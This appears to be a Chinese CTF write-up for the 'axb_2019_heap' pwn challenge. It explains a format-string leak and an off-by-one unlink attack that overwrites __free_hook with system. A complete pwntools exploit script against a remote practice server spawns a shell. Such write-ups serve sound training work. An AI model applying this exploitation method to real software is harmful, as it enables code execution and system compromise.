axb_2019_heap
axb_2019_heap
0x00 checksec
root@ubuntu20:~# checksec axb_2019_heap
[*] '/root/axb_2019_heap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: '/usr/local/glibc-all-in-one/libs/2.23-0ubuntu3_amd64'
0x01 查看伪代码
程序的功能是实现note的管理,先输入访问者,再对note进行增删改查的操作。
重点关注以下代码
unsigned __int64 banner()
{
char format[12]; // [rsp+Ch] [rbp-14h] BYREF
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("Welcome to note management system!");
printf("Enter your name: ");
__isoc99_scanf("%s", format);
printf("Hello, ");
printf(format); <--漏洞位置
puts("\n-------------------------------------");
return __readfsqword(0x28u) ^ v2;
}
banner函数要输入访问者名字,通过format接收,又printf出来。格式化字符串可控,这就让人联想到了格式化字符串漏洞。
size_t __fastcall get_input(__int64 a1, int size)
{
size_t result; // rax
signed int v3; // [rsp+10h] [rbp-10h]
_BYTE *v4; // [rsp+18h] [rbp-8h]
v3 = 0;
while ( 1 )
{
v4 = (_BYTE *)(v3 + a1);
result = fread(v4, 1uLL, 1uLL, stdin);
if ( (int)result <= 0 )
break;
if ( *v4 == 10 )
{
if ( v3 )
{
result = v3 + a1;
*v4 = 0;
return result;
}
}
else
{
result = (unsigned int)++v3;
if ( size + 1 <= (unsigned int)v3 ) <--off by one
return result;
}
}
return result;
}
edit函数的get_input函数存在off - by - one漏洞,这意味着在修改note的内容时,我们可以溢出到下一个堆块头,修改大小或者inuse位。
0x02 漏洞利用
格式化字符串漏洞
确定泄露数据的位置
用fmtarg命令输出位置
由于64位程序会把一部分参数压入六个寄存器中,之后再往栈中压入,所以输出的位置会靠后。
经过尝试%15$p、%19$p就是要泄露的libc_start_main和main的位置。
off-by-one+unlink
在前面说的off-by-one漏洞基础上,我们实现了对下一个堆块头的改动,那么就可以进一步利用unlink操作,实现任意地址修改。
操作如下:
在free也就是unlink之后,¬e会被成功写上note-0x18的位置
便可以通过edit chunk0,从note-0x18处开始写入数据,覆盖note的内容位free_hook的地址,再edit更改为system的地址,这样每次free都是调用system。
exploit
from pwn import *
# from LibcSearcher import *
#context.log_level = 'debug'
# unlink
#io = process('./axb_2019_heap')
io = remote('node4.buuoj.cn',25497)
elf = ELF('./axb_2019_heap')
libc =ELF('/usr/local/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6')
def add(index,size,con):
io.recvuntil('>> ')
io.sendline(str(1))
io.recvuntil('(0-10):')
io.sendline(str(index))
io.recvuntil('size:\n')
io.sendline(str(size))
io.recvuntil('content: \n')
io.sendline(con)
io.recvline()
def delete(index):
io.recvuntil('>> ')
io.sendline(str(2))
io.recvuntil('index:\n')
io.sendline(str(index))
io.recvline()
def edit(index,content):
io.recvuntil('>> ')
io.sendline(str(4))
io.recvuntil('index:\n')
io.sendline(str(index))
io.recvuntil('content: \n')
io.sendline(content)
io.recvline()
# step1: leak code-loading base and libc_addr
# using fmtstr in ini()
payload1 = '%15$p.%19$p'
io.sendlineafter('Enter your name: ',payload1)
io.recvuntil('Hello, ')
libc_start_240 = int(io.recvuntil(".")[-13:-1],16)
main_addr = int(io.recvuntil("\n")[-13:],16)
print "libc_start_main----->" +hex(libc_start_240-240)
print "main----->" +hex( main_addr)
pie_base = main_addr-0x116a
print "pie_base----->" + hex(pie_base)
libc_start_main_addr = libc_start_240-240
print "libc_start_main----->" + hex(libc_start_main_addr)
libc_base = libc_start_main_addr - libc.sym['__libc_start_main']
print "libc_base----->" + hex(libc_base)
system_addr=libc_base+libc.symbols["system"]
free_hook=libc_base+libc.symbols["__free_hook"]
print "sys+++-->"+hex(libc.symbols["system"])
pause()
#step2: fake_unlink
ptr = 0x202060+pie_base
add(0,0x98,p64(0)) #chunk0
add(1,0x90,p64(1)) #chunk1
payload2 = p64(0)+p64(0x91)+p64(ptr-0x18)+p64(ptr-0x10) # fake chunk
payload2+='a'*0x70+p64(0x90)+'\xa0'
edit(0,payload2)
# gdb.attach(io,"brva 0xF88")
delete(1) # trigger unlink
payload3 = p64(0)*3+p64(free_hook)+p64(0x38)
edit(0,payload3)
edit(0,p64(system_addr))
add(2,0x88,'/bin/sh\x00')
io.recvuntil('>> ')
io.sendline(str(2))
io.recvuntil('index:\n')
io.sendline(str(2))
io.interactive()